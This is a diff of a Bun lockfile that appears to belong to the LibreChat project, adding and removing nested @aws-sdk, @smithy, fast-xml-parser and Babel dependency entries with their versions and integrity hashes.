+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="],
@@ -9601,16 +9283,12 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Z4DUr/AkgyFf1bOThW2HwzREagee0sB5ycl+hDiSZOfRLW8ZgrOjDi6g8mHH19yyU5E2A/64W3z6SMIf5XiUSQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
@@ -9625,20 +9303,14 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="],
@@ -9689,8 +9361,6 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9707,26 +9377,18 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="],
@@ -9743,16 +9405,12 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Z4DUr/AkgyFf1bOThW2HwzREagee0sB5ycl+hDiSZOfRLW8ZgrOjDi6g8mHH19yyU5E2A/64W3z6SMIf5XiUSQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
@@ -9769,21 +9427,137 @@
"@langchain/google-gauth/google-auth-library/gaxios/rimraf/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
- "@langchain/google-gauth/google-auth-library/gaxios/rimraf/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
-
"@langchain/google-gauth/google-auth-library/gaxios/rimraf/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
